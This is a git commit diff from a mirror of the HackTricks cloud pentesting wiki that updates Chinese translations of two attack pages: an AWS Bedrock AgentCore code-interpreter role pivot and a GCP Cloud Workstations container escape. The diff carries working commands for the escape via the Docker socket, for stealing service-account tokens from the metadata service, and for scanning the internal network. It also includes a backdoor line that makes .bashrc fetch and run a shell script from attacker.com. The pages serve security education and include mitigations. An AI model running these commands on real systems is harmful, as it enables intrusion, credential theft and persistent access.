mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/gcp-security/gcp-privilege-escalat
This commit is contained in:
+22
-21
@@ -6,20 +6,21 @@
|
||||
|
||||
### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot
|
||||
|
||||
AgentCore Code Interpreter 是一个托管的执行环境。**Custom Code Interpreters** 可以配置一个 **`executionRoleArn`**,该字段“provides permissions for the code interpreter to access AWS services”。
|
||||
AgentCore Code Interpreter 是一个受管的执行环境。**Custom Code Interpreters** 可以配置一个 **`executionRoleArn`**,该字段“为 code interpreter 提供访问 AWS 服务的权限”。
|
||||
|
||||
如果一个 **lower-privileged IAM principal** 能够 **start + invoke** 一个配置了 **more privileged execution role** 的 Code Interpreter 会话,调用者即可有效地 **pivot into the execution role’s permissions**(视角色范围而定,可能为横向移动 / 权限提升)。
|
||||
如果一个**权限较低的 IAM principal** 能够**start + invoke** 一个配置为使用更高权限 execution role 的 Code Interpreter 会话,调用者就可以有效地**切换到该 execution role 的权限**(根据角色范围,这可能是横向移动或权限提升)。
|
||||
|
||||
> [!NOTE]
|
||||
> 这通常是一个 **misconfiguration / excessive permissions** 问题(将过宽的权限赋予 interpreter execution role 和/或 授予广泛的 invoke 访问)。AWS 明确警告要通过确保 execution roles 相对于被允许调用的身份具有 **equal or fewer** 权限来避免权限提升。
|
||||
> 这通常是一个**配置错误 / 权限过度**的问题(例如给 interpreter 的 execution role 授予了过宽的权限和/或授予了广泛的 invoke 访问权限)。
|
||||
> AWS 明确警告,应通过确保 execution roles 的权限**不超过**被允许调用的主体来避免权限提升。
|
||||
|
||||
#### Preconditions (common misconfiguration)
|
||||
|
||||
- 存在一个具有过多权限的 **custom code interpreter**,并绑定了一个过度权限的 **execution role**(例如:可访问敏感的 S3/Secrets/SSM 或具备类似 IAM-admin 的能力)。
|
||||
- 一个用户(developer/auditor/CI 身份)拥有以下权限:
|
||||
- start sessions: `bedrock-agentcore:StartCodeInterpreterSession`
|
||||
- invoke tools: `bedrock-agentcore:InvokeCodeInterpreter`
|
||||
- (可选)该用户还可以创建 interpreters:`bedrock-agentcore:CreateCodeInterpreter`(允许他们根据组织的 guardrails 创建一个配置了 execution role 的新 interpreter)。
|
||||
- 存在一个权限过大的 **custom code interpreter**,其 **execution role** 权限过宽(例如:可以访问敏感的 S3/Secrets/SSM 或具有类似 IAM 管理的能力)。
|
||||
- 一个用户(开发者/审计员/CI 身份)拥有以下权限:
|
||||
- 启动会话:`bedrock-agentcore:StartCodeInterpreterSession`
|
||||
- 调用工具:`bedrock-agentcore:InvokeCodeInterpreter`
|
||||
- (可选)该用户也可以创建 interpreter:`bedrock-agentcore:CreateCodeInterpreter`(允许他们根据组织的 guardrails 创建一个配置了 execution role 的新 interpreter)。
|
||||
|
||||
#### Recon (identify custom interpreters and execution role usage)
|
||||
|
||||
@@ -28,9 +29,9 @@ AgentCore Code Interpreter 是一个托管的执行环境。**Custom Code Interp
|
||||
aws bedrock-agentcore-control list-code-interpreters
|
||||
aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
|
||||
````
|
||||
> create-code-interpreter 命令支持 `--execution-role-arn`,用于定义解释器将具备哪些 AWS 权限。
|
||||
> create-code-interpreter 命令支持 `--execution-role-arn`,用于定义该解释器将拥有的 AWS 权限。
|
||||
|
||||
#### 第 1 步 - 启动会话(这会返回一个 `sessionId`,而不是 interactive shell)
|
||||
#### 步骤 1 - 启动会话(这会返回一个 `sessionId`,而不是交互式 shell)
|
||||
```bash
|
||||
SESSION_ID=$(
|
||||
aws bedrock-agentcore start-code-interpreter-session \
|
||||
@@ -42,9 +43,9 @@ aws bedrock-agentcore start-code-interpreter-session \
|
||||
|
||||
echo "SessionId: $SESSION_ID"
|
||||
```
|
||||
#### 步骤 2 - 调用代码执行 (Boto3 or signed HTTPS)
|
||||
#### 第2步 - 调用代码执行(Boto3 或 签名的 HTTPS)
|
||||
|
||||
没有来自 `start-code-interpreter-session` 的**交互式 python shell**。执行是通过 **InvokeCodeInterpreter** 进行的。
|
||||
没有来自 `start-code-interpreter-session` 的**interactive python shell**。执行是通过 **InvokeCodeInterpreter** 进行的。
|
||||
|
||||
**选项 A - Boto3 示例(执行 Python + 验证身份):**
|
||||
```python
|
||||
@@ -67,9 +68,9 @@ arguments={
|
||||
for event in resp.get("stream", []):
|
||||
print(event)
|
||||
```
|
||||
如果解释器配置了执行角色,`sts:GetCallerIdentity()` 的输出应反映该角色的身份(而不是低权限调用者),以证明 pivot。
|
||||
如果解释器配置了 execution role,`sts:GetCallerIdentity()` 的输出应该反映该 role 的身份(而不是 low-priv caller),从而证明 pivot。
|
||||
|
||||
**选项 B - 已签名的 HTTPS 调用 (awscurl):**
|
||||
**选项 B - 签名的 HTTPS 调用 (awscurl):**
|
||||
```bash
|
||||
awscurl -X POST \
|
||||
"https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
|
||||
@@ -88,16 +89,16 @@ awscurl -X POST \
|
||||
```
|
||||
#### 影响
|
||||
|
||||
* **横向移动**:进入 interpreter 执行角色所拥有的任何 AWS 访问权限。
|
||||
* **权限提升**:如果 interpreter 执行角色比调用者拥有更高权限。
|
||||
* 如果未为 interpreter 调用启用 CloudTrail 数据事件,则更难检测(根据配置,调用默认可能不会被记录)。
|
||||
* **Lateral movement** 到 解释器执行角色拥有的任何 AWS 访问权限。
|
||||
* **Privilege escalation** 如果解释器执行角色比调用者拥有更高权限。
|
||||
* 如果未为解释器调用启用 CloudTrail 数据事件,则检测更困难(根据配置,调用默认可能不会被记录)。
|
||||
|
||||
#### 缓解 / 加固
|
||||
|
||||
* **最小权限**:对 interpreter `executionRoleArn` 实施最小权限原则(如同对待 Lambda 执行角色 / CI 角色)。
|
||||
* **限制谁可以调用**(`bedrock-agentcore:InvokeCodeInterpreter`)以及谁可以启动会话。
|
||||
* 使用 **SCPs** 拒绝 InvokeCodeInterpreter(除经批准的 agent 运行时角色外),可能需要在组织级别强制执行。
|
||||
* 在适用情况下为 AgentCore 启用相应的 **CloudTrail 数据事件**;对意外调用和会话创建设置告警。
|
||||
* 对解释器 `executionRoleArn` 实施 **Least privilege**(将其当作 Lambda 执行角色 / CI 角色来处理)。
|
||||
* **限制谁可以调用** (`bedrock-agentcore:InvokeCodeInterpreter`) 以及谁可以启动会话。
|
||||
* 使用 **SCPs** 拒绝 InvokeCodeInterpreter,除非针对已批准的 agent runtime roles(可能需要在组织级别强制执行)。
|
||||
* 在适用情况下为 AgentCore 启用适当的 **CloudTrail data events**;对异常的调用和会话创建发出警报。
|
||||
|
||||
## References
|
||||
|
||||
|
||||
+15
-15
@@ -3,16 +3,16 @@
|
||||
|
||||
### Container Breakout via Docker Socket (Container -> VM -> Project)
|
||||
|
||||
在 Cloud Workstations 中,主要的 privilege escalation 路径源于需要为开发者支持 **Docker-in-Docker (DinD)** 工作流。When the workstation configuration mounts the Docker socket or allows privileged containers(这是常见配置),工作站容器内的攻击者可以逃逸到底层的 Compute Engine VM 并窃取其 service account token。
|
||||
Cloud Workstations 中的主要权限提升路径来源于必须支持 **Docker-in-Docker (DinD)** 的开发工作流。当 workstation 配置挂载 Docker socket 或允许 privileged containers(常见配置)时,位于 workstation 容器内的攻击者可以逃逸到底层的 Compute Engine VM 并窃取其服务帐号令牌。
|
||||
|
||||
**前提条件:**
|
||||
- 可访问 Cloud Workstation 终端(通过 SSH、被入侵的会话,或 stolen credentials)
|
||||
**前提条件:**
|
||||
- 访问 Cloud Workstation 终端(通过 SSH、被入侵的会话,或被盗凭证)
|
||||
- 工作站配置必须挂载 `/var/run/docker.sock` 或启用 privileged containers
|
||||
|
||||
**架构上下文:** 工作站是运行在 GCE VM(Layer 1)上的 Docker/Containerd 运行时(Layer 2)中的一个容器(Layer 3)。Docker socket 可直接访问主机的容器运行时。
|
||||
**架构上下文:** 工作站是一个容器(Layer 3),运行在 GCE VM(Layer 1)上的 Docker/Containerd 运行时(Layer 2)。Docker socket 可直接访问宿主机的容器运行时。
|
||||
|
||||
> [!NOTE]
|
||||
> 该工具 [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) 自动化完整的 container escape 并将你置于主机 VM 的 root shell。
|
||||
> 该工具 [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) 自动化完整的容器逃逸并将你置于宿主 VM 的 root shell。
|
||||
|
||||
<details>
|
||||
|
||||
@@ -26,7 +26,7 @@ ls -l /var/run/docker.sock
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Step 2: Escape to the host VM filesystem</summary>
|
||||
<summary>步骤 2:逃逸到主机 VM 文件系统</summary>
|
||||
|
||||
我们启动了一个特权容器,将主机的根目录挂载到 `/mnt/host`。我们还共享主机的网络和 PID 命名空间以最大化可见性。
|
||||
```bash
|
||||
@@ -38,13 +38,13 @@ alpine sh
|
||||
# Inside the new container, chroot into the host
|
||||
chroot /mnt/host /bin/bash
|
||||
```
|
||||
你现在拥有 **root shell on the underlying Compute Engine VM** (Layer 1)。
|
||||
您现在拥有 **root shell on the underlying Compute Engine VM**(第 1 层)。
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>步骤 3:从 IMDS 窃取 VM 服务账户令牌</summary>
|
||||
<summary>步骤 3:从 IMDS 窃取 VM service account token</summary>
|
||||
```bash
|
||||
# From the host VM, query the Instance Metadata Service
|
||||
curl -s -H "Metadata-Flavor: Google" \
|
||||
@@ -61,16 +61,16 @@ http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scop
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> **检查 Scopes!**
|
||||
> 即使附加的 Service Account 是 **Editor**,VM 仍可能被访问范围限制。
|
||||
> 如果看到 `https://www.googleapis.com/auth/cloud-platform`,则拥有完整访问权限。
|
||||
> 如果只看到 `logging.write` 和 `monitoring.write`,则仅限于下方的 **Network Pivot** 和 **Persistence** 向量。
|
||||
> **检查权限范围!**
|
||||
> 即使关联的 Service Account 是 **Editor**,VM 也可能被访问范围所限制。
|
||||
> 如果你看到 `https://www.googleapis.com/auth/cloud-platform`,则拥有完全访问权限。
|
||||
> 如果你只看到 `logging.write` 和 `monitoring.write`,则仅限于下面的 **Network Pivot** 和 **Persistence** 向量。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Step 4: Achieve Persistence (Backdoor the User)</summary>
|
||||
<summary>步骤 4: Achieve Persistence (Backdoor the User)</summary>
|
||||
|
||||
Cloud Workstations 将一个持久磁盘挂载到 `/home/user`。由于容器用户(通常是 `user`,UID 1000)与宿主机用户(UID 1000)匹配,你可以写入宿主的主目录。这样即使 workstation 容器被重建,你也可以 backdoor 环境,实现持久化。
|
||||
Cloud Workstations 会把持久磁盘挂载到 `/home/user`。由于容器内的用户(通常为 `user`,UID 1000)与主机上的用户(UID 1000)匹配,你可以写入主机的 home 目录。这使你能够 backdoor 环境,即使 workstation container 被重建也能保留后门。
|
||||
```bash
|
||||
# Check if you can write to the host's persistent home
|
||||
ls -la /mnt/host/home/user/
|
||||
@@ -85,7 +85,7 @@ echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc
|
||||
|
||||
<summary>步骤 5: Network Pivot (Internal VPC Access)</summary>
|
||||
|
||||
既然你共享主机的网络命名空间 (`--net=host`),你现在是 VPC 上的受信任节点。你可以扫描允许基于 IP whitelisting 的内部服务。
|
||||
由于你共享主机网络命名空间 (`--net=host`),你现在是 VPC 上的受信任节点。你可以扫描基于 IP whitelisting 允许访问的内部服务。
|
||||
```bash
|
||||
# Install scanning tools on the host (if internet access allows)
|
||||
apk add nmap
|
||||
|
||||
Reference in New Issue
Block a user